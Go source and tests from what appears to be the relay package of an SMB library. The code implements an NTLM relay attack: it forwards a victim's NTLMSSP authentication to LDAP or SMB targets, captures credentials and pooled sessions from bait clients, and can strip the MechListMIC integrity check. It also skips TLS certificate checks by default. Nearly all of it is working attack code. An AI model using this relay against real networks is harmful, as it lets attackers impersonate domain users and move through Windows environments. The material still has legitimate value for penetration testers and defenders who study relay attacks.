// Take returns the upstream and zeroes the field. Close is a no-op afterwards.
func (f *ldapForwarder) Take() *ldapUpstream {
up := f.upstream
f.upstream = nil
return up
}
// Close tears down the upstream connection if still owned. Idempotent.
func (f *ldapForwarder) Close() {
if f.upstream == nil {
return
}
f.upstream.Close()
f.upstream = nil
}
// dialUpstream opens a TCP connection to the LDAP target and applies any
// pre-bind TLS upgrade:
// - ldaps:// → immediate TLS handshake on the freshly-dialed socket.
// - ldap:// with StartTLS enabled (default) → plain TCP, then the StartTLS
// ExtendedRequest. On a clean rejection from the server (resultCode != 0)
// the relay logs at Debug and continues with plain LDAP on the same socket.
// - ldap:// with StartTLS disabled, or after a StartTLS rejection → plain TCP.
//
// Errors from the StartTLS exchange that aren't a clean protocol-level rejection
// (TCP read/write failures, malformed BER, TLS handshake failures) abort and
// close the socket — partway-through-StartTLS leaves the connection unsafe to
// fall back from.
func (f *ldapForwarder) dialUpstream() (*ldapUpstream, error) {
d := &net.Dialer{Timeout: f.timeout}
rawConn, err := d.Dial("tcp", f.target.Host)
if err != nil {
return nil, fmt.Errorf("dial %s: %w", f.target.Host, err)
}
up := &ldapUpstream{Target: f.target, conn: rawConn}
if f.target.TLS {
tlsConn := tls.Client(rawConn, f.resolveTLSConfig())
if err := tlsConn.Handshake(); err != nil {
rawConn.Close()
return nil, fmt.Errorf("TLS handshake %s: %w", f.target.Host, err)
}
up.conn = tlsConn
return up, nil
}
if f.target.Protocol == ProtoLDAP && !f.disableStartTLS {
if err := f.tryStartTLS(up); err != nil {
up.Close()
return nil, fmt.Errorf("StartTLS %s: %w", f.target.Host, err)
}
}
return up, nil
}
// resolveTLSConfig returns a tls.Config to use for TLS handshakes against the
// upstream. When the caller supplied a config without a ServerName, the host
// portion of the target is filled in on a clone so concurrent dials don't race
// on the same struct. When no config was supplied, InsecureSkipVerify=true is
// the historical default — matching the prior ldaps:// behavior.
func (f *ldapForwarder) resolveTLSConfig() *tls.Config {
host, _, _ := net.SplitHostPort(f.target.Host)
tlsCfg := f.tlsConf
if tlsCfg == nil {
return &tls.Config{ServerName: host, InsecureSkipVerify: true}
}
if tlsCfg.ServerName == "" {
cloned := tlsCfg.Clone()
cloned.ServerName = host
return cloned
}
return tlsCfg
}
// tryStartTLS sends the StartTLS ExtendedRequest on up.conn. On success
// (resultCode 0) it performs the TLS handshake and replaces up.conn with the
// TLS-wrapped socket. On a server-side rejection (resultCode != 0) it leaves
// up.conn untouched and returns nil — the caller continues with plain LDAP.
// Any other failure (write/read error, malformed BER, TLS handshake failure)
// is returned and the caller must treat the socket as unusable.
func (f *ldapForwarder) tryStartTLS(up *ldapUpstream) error {
id := up.allocMessageID()
if err := up.writeLDAPMessage(id, encodeStartTLSRequest()); err != nil {
return fmt.Errorf("write ExtendedRequest: %w", err)
}
resp, err := up.readLDAPMessage()
if err != nil {
return fmt.Errorf("read ExtendedResponse: %w", err)
}
rc, err := parseStartTLSResponse(resp)
if err != nil {
return fmt.Errorf("parse ExtendedResponse: %w", err)
}
if rc != ldapResultSuccess {
if f.logger != nil {
f.logger.Debugf("StartTLS unsupported by %s (resultCode=%d) — falling back to plain LDAP", f.target.Host, rc)
}
return nil
}
tlsConn := tls.Client(up.conn, f.resolveTLSConfig())
if err := tlsConn.Handshake(); err != nil {
return fmt.Errorf("TLS handshake: %w", err)
}
up.mu.Lock()
up.conn = tlsConn
up.mu.Unlock()
if f.logger != nil {
f.logger.Debugf("StartTLS established with %s", f.target.Host)
}
return nil
}
// encodeStartTLSRequest builds an ExtendedRequest carrying the StartTLS OID.
// Shape: [APPLICATION 23] SEQUENCE { [CONTEXT 0] PRIMITIVE OID-bytes }.
func encodeStartTLSRequest() *ber.Packet {
req := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ldapAppExtendedRequest, nil, "ExtendedRequest")
req.AppendChild(ber.NewString(ber.ClassContext, ber.TypePrimitive, 0, startTLSOID, "requestName"))
return req
}
// parseStartTLSResponse extracts the resultCode from an ExtendedResponse
// envelope. Returns the resultCode and a nil error when the envelope is
// structurally valid (regardless of whether resultCode signals success).
// Returns a non-nil error only when the envelope isn't an ExtendedResponse or
// is missing the resultCode field.
func parseStartTLSResponse(env *ber.Packet) (int, error) {
if env == nil || len(env.Children) < 2 {
return 0, fmt.Errorf("envelope missing messageID/protocolOp")
}
resp := env.Children[1]
if resp.ClassType != ber.ClassApplication || resp.Tag != ldapAppExtendedResponse {
return 0, fmt.Errorf("not an ExtendedResponse (class=%d tag=%d)", resp.ClassType, resp.Tag)
}
if len(resp.Children) == 0 {
return 0, fmt.Errorf("ExtendedResponse missing resultCode")
}
v, ok := resp.Children[0].Value.(int64)
if !ok {
return 0, fmt.Errorf("ExtendedResponse resultCode not an integer")
}
return int(v), nil
}
// writeLDAPMessage serializes a complete LDAPMessage envelope (SEQUENCE
// {messageID INTEGER, protocolOp}) and writes it to the upstream. Holds the
// connection's write side via mu so the bind sequence is atomic.
func (u *ldapUpstream) writeLDAPMessage(messageID int64, protocolOp *ber.Packet) error {
u.mu.Lock()
defer u.mu.Unlock()
if u.closed {
return fmt.Errorf("upstream closed")
}
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, messageID, "MessageID"))
env.AppendChild(protocolOp)
_, err := u.conn.Write(env.Bytes())
return err
}
// readLDAPMessage reads one complete LDAPMessage envelope from the upstream.
// Holds mu for the duration so concurrent writes don't interleave the parser.
func (u *ldapUpstream) readLDAPMessage() (*ber.Packet, error) {
u.mu.Lock()
defer u.mu.Unlock()
if u.closed {
return nil, fmt.Errorf("upstream closed")
}
return ber.ReadPacket(u.conn)
}
// encodeBindRequest builds a BindRequest packet carrying an NTLMSSP token as
// the auth choice. authTag picks Phase 1 ([CONTEXT 10]) vs Phase 2
// ([CONTEXT 11]) — the sicily NTLM extension's two tags.
func encodeBindRequest(authTag ber.Tag, ntlm []byte) *ber.Packet {
req := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindRequest), nil, "BindRequest")
req.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(3), "Version"))
req.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "Name"))
auth := ber.Encode(ber.ClassContext, ber.TypePrimitive, authTag, ntlm, "authentication")
req.AppendChild(auth)
return req
}
// extractBindResponse returns the BindResponse application packet from an
// LDAPMessage envelope and the parsed resultCode (-1 when absent).
func extractBindResponse(env *ber.Packet) (*ber.Packet, int, error) {
if env == nil || len(env.Children) < 2 {
return nil, -1, fmt.Errorf("envelope missing messageID/protocolOp")
}
resp := env.Children[1]
if resp.ClassType != ber.ClassApplication || resp.Tag != ber.Tag(ldapAppBindResponse) {
return nil, -1, fmt.Errorf("not a BindResponse (class=%d tag=%d)", resp.ClassType, resp.Tag)
}
rc := -1
if len(resp.Children) > 0 {
if v, ok := resp.Children[0].Value.(int64); ok {
rc = int(v)
}
}
return resp, rc, nil
}
// bindResponseDiagnostic returns the matchedDN and diagnosticMessage strings
// from a BindResponse, when present. AD packs the WIN32 substatus into
// diagnosticMessage as `... data NNN, vXXXX` — the `NNN` is the actual reason
// (e.g. 532 = password expired, 80090346 = channel binding mismatch).
func bindResponseDiagnostic(resp *ber.Packet) (matchedDN, diagnostic string) {
if resp == nil {
return "", ""
}
if len(resp.Children) > 1 {
if s, ok := resp.Children[1].Value.(string); ok {
matchedDN = s
}
}
if len(resp.Children) > 2 {
if s, ok := resp.Children[2].Value.(string); ok {
diagnostic = s
}
}
return matchedDN, diagnostic
}
// parseBindNegotiateResponse extracts the NTLMSSP CHALLENGE from a Phase-1
// BindResponse. AD's sicily NTLM puts the CHALLENGE in matchedDN
// (Children[1]) as an OctetString — non-standard but stable Microsoft
// behavior; goldap uses the same trick. We also check the spec-correct
// serverSaslCreds [CONTEXT 7] slot in case a non-Microsoft server uses it.
//
// If neither location holds an NTLMSSP token the upstream treated the bind
// as something other than sicily NTLM (most commonly anonymous on a DC that
// permits unauthenticated binds). Returns an error including the resultCode
// so the caller can surface a clear diagnostic.
func parseBindNegotiateResponse(env *ber.Packet) ([]byte, error) {
resp, rc, err := extractBindResponse(env)
if err != nil {
return nil, err
}
// Microsoft AD layout: CHALLENGE in matchedDN (Children[1]).
if len(resp.Children) >= 2 {
c := resp.Children[1]
if c.ClassType == ber.ClassUniversal && c.Tag == ber.TagOctetString {
if b := c.ByteValue; len(b) >= 7 && string(b[:7]) == "NTLMSSP" {
return append([]byte(nil), b...), nil
}
}
}
// Standard LDAP layout: serverSaslCreds [CONTEXT 7] at any trailing index.
for i := 3; i < len(resp.Children); i++ {
c := resp.Children[i]
if c.ClassType == ber.ClassContext && c.Tag == 7 {
if b := c.Data.Bytes(); len(b) >= 7 && string(b[:7]) == "NTLMSSP" {
return append([]byte(nil), b...), nil
}
}
}
return nil, fmt.Errorf("upstream BindResponse missing NTLMSSP CHALLENGE (resultCode=%d) — sicily NTLM may be disabled, or the bind was treated as anonymous", rc)
}
// inboundRequestsSigning reports whether a raw NTLMSSP NEGOTIATE message has
// SIGN or SEAL set — the two flags that signal the client actually wants
// message integrity/confidentiality on the payload. ALWAYS_SIGN is
// intentionally excluded: it only forces session-key generation as a
// downlevel fallback and is set by clients that won't enforce signing on the
// wire, so warning on it produces noise. The NegotiateFlags field is at
// offset 12-16 of the NEGOTIATE message (after the 8-byte signature and the
// 4-byte MessageType). Returns false on malformed input — failing closed
// avoids spurious warnings.
func inboundRequestsSigning(neg []byte) bool {
if len(neg) < 16 || string(neg[:7]) != "NTLMSSP" {
return false
}
if binary.LittleEndian.Uint32(neg[8:12]) != ntlmssp.TypeNtLmNegotiate {
return false
}
flags := binary.LittleEndian.Uint32(neg[12:16])
return flags&(ntlmssp.FlgNegSign|ntlmssp.FlgNegSeal) != 0
}
// parseBindResultCode extracts the resultCode, matchedDN, and
// diagnosticMessage from a BindResponse. Used after the inbound's AUTHENTICATE
// has been forwarded — at that point the upstream either binds successfully
// (resultCode=0) or rejects (non-zero). AD encodes the precise reason for
// rejection in diagnosticMessage as `... data NNN, vXXXX`.
func parseBindResultCode(env *ber.Packet) (int, string, string, error) {
resp, rc, err := extractBindResponse(env)
if err != nil {
return 0, "", "", err
}
if rc < 0 {
return 0, "", "", fmt.Errorf("BindResponse missing resultCode")
}
matchedDN, diagnostic := bindResponseDiagnostic(resp)
return rc, matchedDN, diagnostic, nil
}
+292
View File
@@ -0,0 +1,292 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
package relay
import (
"bytes"
"encoding/binary"
"strings"
"testing"
ber "github.com/go-asn1-ber/asn1-ber"
"github.com/jfjallid/go-smb/ntlmssp"
)
// TestEncodeBindRequestShape verifies the BER shape of the BindRequest we
// emit: a SEQUENCE of (version=3, name="", auth choice carrying the NTLMSSP
// token). The auth choice's class/tag determines phase: TagEnumerated for
// NEGOTIATE, TagEmbeddedPDV for AUTHENTICATE — same convention goldap uses
// for the AD sicily extension.
func TestEncodeBindRequestShape(t *testing.T) {
ntlmTok := []byte("NTLMSSP\x00\x01stub")
for _, tag := range []ber.Tag{ldapAuthNTLMNegotiate, ldapAuthNTLMAuthenticate} {
req := encodeBindRequest(tag, ntlmTok)
if req.ClassType != ber.ClassApplication || req.Tag != ber.Tag(ldapAppBindRequest) {
t.Errorf("BindRequest envelope class/tag = %d/%d, want app/0", req.ClassType, req.Tag)
}
if len(req.Children) != 3 {
t.Fatalf("BindRequest children = %d, want 3", len(req.Children))
}
version := req.Children[0].Value
if v, ok := version.(int64); !ok || v != 3 {
t.Errorf("version = %v, want int64(3)", version)
}
name := req.Children[1].Value
if s, ok := name.(string); !ok || s != "" {
t.Errorf("name = %v, want empty string", name)
}
auth := req.Children[2]
if auth.ClassType != ber.ClassContext || auth.Tag != tag {
t.Errorf("auth class/tag = %d/%d, want context/%d", auth.ClassType, auth.Tag, tag)
}
// The NTLM token bytes are stored in the packet's Data buffer.
if got := auth.Data.Bytes(); !bytes.Equal(got, ntlmTok) {
t.Errorf("auth data = %x, want %x", got, ntlmTok)
}
}
}
// TestParseBindNegotiateResponseSicilyMatchedDN parses the AD sicily NTLM
// layout: the CHALLENGE is packed in matchedDN (Children[1] of BindResponse)
// rather than in the standard serverSaslCreds [CONTEXT 7] slot. resultCode is
// 14 (saslBindInProgress) in this example but could equally be 0 — sicily
// servers don't always set it to 14, so the parser ignores resultCode when a
// CHALLENGE is found.
func TestParseBindNegotiateResponseSicilyMatchedDN(t *testing.T) {
challenge := []byte("NTLMSSP\x00\x02sicilyMatchedDN")
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(1), "MessageID"))
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindResponse), nil, "BindResponse")
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(ldapResultSaslBindInProgress), "resultCode"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, string(challenge), "matchedDN-as-CHALLENGE"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
env.AppendChild(resp)
decoded, err := ber.DecodePacketErr(env.Bytes())
if err != nil {
t.Fatalf("DecodePacketErr: %v", err)
}
got, err := parseBindNegotiateResponse(decoded)
if err != nil {
t.Fatalf("parseBindNegotiateResponse: %v", err)
}
if !bytes.Equal(got, challenge) {
t.Errorf("CHALLENGE = %x, want %x", got, challenge)
}
}
// TestParseBindNegotiateResponseStandardServerSaslCreds covers the spec-
// correct layout: serverSaslCreds [CONTEXT 7] OPTIONAL after the standard
// LDAPResult fields. This path is taken when the upstream isn't AD.
func TestParseBindNegotiateResponseStandardServerSaslCreds(t *testing.T) {
challenge := []byte("NTLMSSP\x00\x02standard")
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(1), "MessageID"))
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindResponse), nil, "BindResponse")
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(ldapResultSaslBindInProgress), "resultCode"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
sasl := ber.Encode(ber.ClassContext, ber.TypePrimitive, 7, nil, "serverSaslCreds")
sasl.Data.Write(challenge)
resp.AppendChild(sasl)
env.AppendChild(resp)
decoded, err := ber.DecodePacketErr(env.Bytes())
if err != nil {
t.Fatalf("DecodePacketErr: %v", err)
}
got, err := parseBindNegotiateResponse(decoded)
if err != nil {
t.Fatalf("parseBindNegotiateResponse: %v", err)
}
if !bytes.Equal(got, challenge) {
t.Errorf("CHALLENGE = %x, want %x", got, challenge)
}
}
// TestParseBindNegotiateResponseAnonymousFallback verifies the loud-failure
// path: BindResponse with resultCode=0 and an empty matchedDN means the DC
// treated our sicily bind as anonymous. The relay must reject this — the
// caller explicitly wants an authenticated upstream — with a message that
// explains why.
func TestParseBindNegotiateResponseAnonymousFallback(t *testing.T) {
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(1), "MessageID"))
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindResponse), nil, "BindResponse")
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(ldapResultSuccess), "resultCode"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
env.AppendChild(resp)
decoded, err := ber.DecodePacketErr(env.Bytes())
if err != nil {
t.Fatalf("DecodePacketErr: %v", err)
}
_, err = parseBindNegotiateResponse(decoded)
if err == nil {
t.Fatal("expected error for anonymous fallback, got nil")
}
if !strings.Contains(err.Error(), "anonymous") || !strings.Contains(err.Error(), "resultCode=0") {
t.Errorf("error %q does not surface the diagnostic (resultCode + anonymous)", err)
}
}
// TestInboundRequestsSigning verifies the warning trigger: SIGN or SEAL
// flags in the inbound NEGOTIATE return true; their absence returns false.
// ALWAYS_SIGN is intentionally NOT a trigger — it's a session-key generation
// hint that doesn't imply on-the-wire signing enforcement, so flagging it
// would produce noisy warnings. Malformed input fails closed.
func TestInboundRequestsSigning(t *testing.T) {
build := func(flags uint32) []byte {
b := make([]byte, 16)
copy(b[:8], []byte("NTLMSSP\x00"))
binary.LittleEndian.PutUint32(b[8:12], ntlmssp.TypeNtLmNegotiate)
binary.LittleEndian.PutUint32(b[12:16], flags)
return b
}
cases := []struct {
name string
flags uint32
want bool
}{
{"sign", ntlmssp.FlgNegSign | ntlmssp.FlgNegUnicode, true},
{"seal", ntlmssp.FlgNegSeal | ntlmssp.FlgNegUnicode, true},
{"always-sign-only", ntlmssp.FlgNegAlwaysSign | ntlmssp.FlgNegUnicode, false},
{"none", ntlmssp.FlgNegUnicode | ntlmssp.FlgNegNtLm, false},
}
for _, c := range cases {
t.Run(c.name, func(t *testing.T) {
if got := inboundRequestsSigning(build(c.flags)); got != c.want {
t.Errorf("flags=0x%08x → %v, want %v", c.flags, got, c.want)
}
})
}
if inboundRequestsSigning(nil) {
t.Error("nil input must return false")
}
if inboundRequestsSigning([]byte("not-ntlm")) {
t.Error("non-NTLMSSP input must return false")
}
}
// TestEncodeStartTLSRequestShape verifies the BER shape of the StartTLS
// ExtendedRequest we emit: [APPLICATION 23] SEQUENCE with a single
// [CONTEXT 0] PRIMITIVE child carrying the StartTLS OID bytes (RFC 4511
// §4.12, §4.14).
func TestEncodeStartTLSRequestShape(t *testing.T) {
req := encodeStartTLSRequest()
if req.ClassType != ber.ClassApplication || req.Tag != ldapAppExtendedRequest {
t.Errorf("ExtendedRequest envelope class/tag = %d/%d, want app/23", req.ClassType, req.Tag)
}
if len(req.Children) != 1 {
t.Fatalf("ExtendedRequest children = %d, want 1", len(req.Children))
}
name := req.Children[0]
if name.ClassType != ber.ClassContext || name.Tag != 0 {
t.Errorf("requestName class/tag = %d/%d, want context/0", name.ClassType, name.Tag)
}
if got := name.Data.Bytes(); string(got) != startTLSOID {
t.Errorf("requestName data = %q, want %q", got, startTLSOID)
}
}
// TestParseStartTLSResponseSuccess builds an ExtendedResponse with
// resultCode=0 and confirms the parser surfaces it. dialUpstream uses that
// signal to upgrade the socket to TLS.
func TestParseStartTLSResponseSuccess(t *testing.T) {
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(1), "MessageID"))
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ldapAppExtendedResponse, nil, "ExtendedResponse")
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(ldapResultSuccess), "resultCode"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
env.AppendChild(resp)
decoded, err := ber.DecodePacketErr(env.Bytes())
if err != nil {
t.Fatalf("DecodePacketErr: %v", err)
}
rc, err := parseStartTLSResponse(decoded)
if err != nil {
t.Fatalf("parseStartTLSResponse: %v", err)
}
if rc != ldapResultSuccess {
t.Errorf("resultCode = %d, want 0", rc)
}
}
// TestParseStartTLSResponseRejection covers the "server says no" path:
// resultCode=2 (protocolError) is the standard StartTLS-unsupported response.
// The parser must surface the non-zero code with no error — the caller treats
// that as "fall back to plain LDAP".
func TestParseStartTLSResponseRejection(t *testing.T) {
const protocolError = 2
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(1), "MessageID"))
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ldapAppExtendedResponse, nil, "ExtendedResponse")
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(protocolError), "resultCode"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "unsupported extended operation", "diagnosticMessage"))
env.AppendChild(resp)
decoded, err := ber.DecodePacketErr(env.Bytes())
if err != nil {
t.Fatalf("DecodePacketErr: %v", err)
}
rc, err := parseStartTLSResponse(decoded)
if err != nil {
t.Fatalf("parseStartTLSResponse returned error on rejection: %v", err)
}
if rc != protocolError {
t.Errorf("resultCode = %d, want %d", rc, protocolError)
}
}
// TestParseStartTLSResponseWrongTag verifies envelope validation: when the
// inner application packet isn't an ExtendedResponse (e.g. server replied with
// BindResponse by mistake), the parser must return an error so the caller can
// surface the protocol violation rather than misinterpret resultCode.
func TestParseStartTLSResponseWrongTag(t *testing.T) {
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(1), "MessageID"))
wrong := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ldapAppBindResponse, nil, "BindResponse")
wrong.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(0), "resultCode"))
env.AppendChild(wrong)
decoded, err := ber.DecodePacketErr(env.Bytes())
if err != nil {
t.Fatalf("DecodePacketErr: %v", err)
}
if _, err := parseStartTLSResponse(decoded); err == nil {
t.Fatal("expected error for non-ExtendedResponse envelope, got nil")
}
}
// TestParseBindResultCodeSuccess verifies Phase-2 parsing: pull resultCode
// from a BindResponse that has no CHALLENGE bytes.
func TestParseBindResultCodeSuccess(t *testing.T) {
env := ber.Encode(ber.ClassUniversal, ber.TypeConstructed, ber.TagSequence, nil, "LDAPMessage")
env.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagInteger, int64(2), "MessageID"))
resp := ber.Encode(ber.ClassApplication, ber.TypeConstructed, ber.Tag(ldapAppBindResponse), nil, "BindResponse")
resp.AppendChild(ber.NewInteger(ber.ClassUniversal, ber.TypePrimitive, ber.TagEnumerated, int64(ldapResultSuccess), "resultCode"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "matchedDN"))
resp.AppendChild(ber.NewString(ber.ClassUniversal, ber.TypePrimitive, ber.TagOctetString, "", "diagnosticMessage"))
env.AppendChild(resp)
decoded, err := ber.DecodePacketErr(env.Bytes())
if err != nil {
t.Fatalf("DecodePacketErr: %v", err)
}
code, _, _, err := parseBindResultCode(decoded)
if err != nil {
t.Fatalf("parseBindResultCode: %v", err)
}
if code != ldapResultSuccess {
t.Errorf("resultCode = %d, want 0", code)
}
}
+189
View File
@@ -0,0 +1,189 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
package relay_test
import (
"context"
"net"
"testing"
"time"
"github.com/jfjallid/go-smb/ntlmssp"
"github.com/jfjallid/go-smb/relay"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/server"
"github.com/jfjallid/go-smb/smb/server/memvfs"
"github.com/jfjallid/go-smb/spnego"
)
// TestSMBForwarderRawNTLMBoundary verifies the SMB forwarder's interface
// boundary: it accepts a raw NTLMSSP NEGOTIATE message (no SPNEGO) and
// returns a raw NTLMSSP CHALLENGE; it then accepts a raw NTLMSSP
// AUTHENTICATE plus an optional MechListMIC and produces a captured
// Credential matching the asserted user/domain.
//
// We drive this via the public RelayServer with a single SMB upstream and
// inspect the captured credential — exercising the forwarder's raw-NTLM
// boundary through the listener's SPNEGO-unwrap path.
func TestSMBForwarderRawNTLMBoundary(t *testing.T) {
const (
user = "alice"
password = "Hunter2!"
domain = "WORKGROUP"
share = "test"
)
ntHash := ntlmssp.Ntowfv1(password)
up := &server.Server{
Config: &server.ServerConfig{
Authenticator: &server.MapAuthenticator{
Domain: domain,
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
},
},
}
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
upL, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen upstream: %v", err)
}
upCh := make(chan error, 1)
go func() { upCh <- up.Serve(upL) }()
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = up.Shutdown(ctx)
<-upCh
}()
upAddr := upL.Addr().(*net.TCPAddr)
var capturedCred *relay.Credential
rs := &relay.RelayServer{
Config: relay.ServerConfig{
ListenAddr: "127.0.0.1:0",
Targets: []string{"smb://" + upAddr.String()},
OnCredentialCaptured: func(_ *server.Conn, c *relay.Credential) {
capturedCred = c
},
},
}
if err := rs.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
relayAddr := rs.SMBAddr().(*net.TCPAddr)
// Drive an SMB victim auth with a real NegTokenInit. The relay's
// onSessionSetup unwraps it to a raw NTLMSSP NEGOTIATE before handing
// to the forwarder; the response path re-wraps the CHALLENGE. If the
// forwarder boundary regressed (e.g. the listener forgot to unwrap) the
// upstream SessionSetup1 would reject the bytes and pooling would fail.
bait := smb.Options{
Host: relayAddr.IP.String(),
Port: relayAddr.Port,
User: user,
Password: password,
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
}
_, _ = smb.NewConnection(bait)
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
t.Fatalf("upstream never pooled — forwarder boundary likely broken")
}
if capturedCred == nil {
t.Fatalf("no credential captured")
}
if capturedCred.Username != user || capturedCred.Domain != domain {
t.Errorf("captured = %s\\%s, want %s\\%s", capturedCred.Domain, capturedCred.Username, domain, user)
}
// ServerChallenge must be the upstream's challenge (8 bytes set).
zero := [8]byte{}
if capturedCred.ServerChallenge == zero {
t.Errorf("captured ServerChallenge is all-zero — upstream CHALLENGE parsing regressed")
}
}
// TestSMBForwarderMICPassthrough covers the MIC plumbing: the relay accepts
// a NegTokenResp carrying a MechListMIC and (by default) forwards it through
// to the upstream. We can't directly inspect the upstream's view of the MIC
// in this test (the in-tree NTLM server validates a self-derived MIC, not
// the relayed one), but we can at least exercise that the StripMechListMIC
// toggle does not break the basic relay flow.
func TestSMBForwarderMICStripDoesNotBreakRelay(t *testing.T) {
const (
user = "carol"
password = "Hunter2!"
domain = "WORKGROUP"
share = "test"
)
ntHash := ntlmssp.Ntowfv1(password)
up := &server.Server{
Config: &server.ServerConfig{
Authenticator: &server.MapAuthenticator{
Domain: domain,
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
},
},
}
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
upL, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatalf("listen upstream: %v", err)
}
upCh := make(chan error, 1)
go func() { upCh <- up.Serve(upL) }()
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = up.Shutdown(ctx)
<-upCh
}()
upAddr := upL.Addr().(*net.TCPAddr)
rs := &relay.RelayServer{
Config: relay.ServerConfig{
ListenAddr: "127.0.0.1:0",
Targets: []string{"smb://" + upAddr.String()},
StripMechListMIC: true,
},
}
if err := rs.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer func() {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
_ = rs.Shutdown(ctx)
}()
relayAddr := rs.SMBAddr().(*net.TCPAddr)
bait := smb.Options{
Host: relayAddr.IP.String(),
Port: relayAddr.Port,
User: user,
Password: password,
Domain: domain,
Initiator: &spnego.NTLMInitiator{User: user, Password: password, Domain: domain},
DisableSigning: true,
DisableEncryption: true,
ForceSMB2: true,
DialTimeout: 2 * time.Second,
}
_, _ = smb.NewConnection(bait)
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
t.Fatalf("strip-mic broke the relay flow (no pooled session)")
}
}
+80
View File
@@ -0,0 +1,80 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
